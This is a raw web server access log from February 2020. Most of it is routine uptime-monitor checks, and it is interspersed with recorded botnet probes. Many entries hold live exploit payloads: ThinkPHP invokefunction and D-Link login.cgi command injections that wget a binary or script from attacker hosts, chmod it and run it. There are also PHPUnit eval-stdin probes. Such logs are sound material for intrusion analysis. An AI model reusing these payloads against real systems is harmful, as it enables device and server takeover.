188.130.149.61 - - [05/Feb/2020:16:38:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:16:38:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:39:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:40:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:41:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:42:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.143.250.130 - - [05/Feb/2020:16:43:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [05/Feb/2020:16:43:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.250.66.245 - - [05/Feb/2020:16:44:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:16:44:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:45:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:46:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.75.135 - - [05/Feb/2020:16:47:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.86.52 - - [05/Feb/2020:16:47:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:16:47:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:48:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:49:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:50:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:51:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.78.253 - - [05/Feb/2020:16:52:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:16:52:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:53:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.12.187 - - [05/Feb/2020:16:53:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:16:54:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.177.125 - - [05/Feb/2020:16:55:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:16:55:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.181.141 - - [05/Feb/2020:16:56:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
150.109.181.25 - - [05/Feb/2020:16:56:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
150.109.181.25 - - [05/Feb/2020:16:56:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
150.109.181.25 - - [05/Feb/2020:16:56:33 +0100] "\x16\x03\x01" 501 318 "-" "-"
150.109.181.25 - - [05/Feb/2020:16:56:33 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [05/Feb/2020:16:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:57:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.251.158.238 - - [05/Feb/2020:16:58:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:16:58:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.152.86.22 - - [05/Feb/2020:16:59:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
79.181.221.207 - - [05/Feb/2020:16:59:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:16:59:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:00:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:01:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:02:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:03:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:04:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.142.202 - - [05/Feb/2020:17:05:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:05:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.166.11.16 - - [05/Feb/2020:17:06:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [05/Feb/2020:17:06:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.233.85.163 - - [05/Feb/2020:17:07:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:07:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.85.143 - - [05/Feb/2020:17:08:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:08:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:09:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.229.53.251 - - [05/Feb/2020:17:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
118.71.13.226 - - [05/Feb/2020:17:10:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:10:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:11:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.5.214.101 - - [05/Feb/2020:17:12:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.106.57.44 - - [05/Feb/2020:17:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:17:12:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
155.186.86.154 - - [05/Feb/2020:17:12:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:13:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.179.91.230 - - [05/Feb/2020:17:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:17:14:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:15:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
43.252.145.130 - - [05/Feb/2020:17:16:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
43.252.145.130 - - [05/Feb/2020:17:16:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:17:16:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:17:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:18:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:19:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:21:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:22:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.191.35 - - [05/Feb/2020:17:23:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:23:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:24:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.191.4 - - [05/Feb/2020:17:25:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:25:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.138.125.214 - - [05/Feb/2020:17:26:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:26:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:27:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:28:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.69.215 - - [05/Feb/2020:17:29:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:29:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:30:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:31:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.134 - - [05/Feb/2020:17:32:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:17:32:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
199.212.57.158 - - [05/Feb/2020:17:33:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible MSIE 6.00 Windows NT 5.1 SV1)"
212.91.246.72 - - [05/Feb/2020:17:33:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [05/Feb/2020:17:34:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [05/Feb/2020:17:34:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [05/Feb/2020:17:34:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [05/Feb/2020:17:34:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:17:34:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [05/Feb/2020:17:34:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:17:35:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:36:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:37:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.13.189 - - [05/Feb/2020:17:38:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:38:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.233.31.38 - - [05/Feb/2020:17:39:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
94.51.46.119 - - [05/Feb/2020:17:39:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:39:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:40:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:41:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [05/Feb/2020:17:42:48 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:17:42:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [05/Feb/2020:17:43:15 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
121.180.208.154 - - [05/Feb/2020:17:43:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [05/Feb/2020:17:43:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [05/Feb/2020:17:43:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:17:43:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [05/Feb/2020:17:43:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [05/Feb/2020:17:44:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:17:44:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
165.228.190.219 - - [05/Feb/2020:17:44:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:17:45:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:46:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.139.158 - - [05/Feb/2020:17:47:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:47:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.214.19.125 - - [05/Feb/2020:17:48:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:48:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.218 - - [05/Feb/2020:17:48:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:49:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.189.37 - - [05/Feb/2020:17:50:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.13.226 - - [05/Feb/2020:17:50:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
